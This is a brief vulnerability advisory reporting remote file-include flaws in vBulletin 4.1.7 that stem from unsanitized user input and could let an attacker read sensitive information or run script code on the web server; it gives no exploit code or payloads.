Discussion
vBulletin Multiple Remote File Include Vulnerabilities
vBulletin is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker can exploit these vulnerabilities to obtain potentially sensitive information or to execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
vBulletin 4.1.7 is vulnerable; other versions may also be affected.
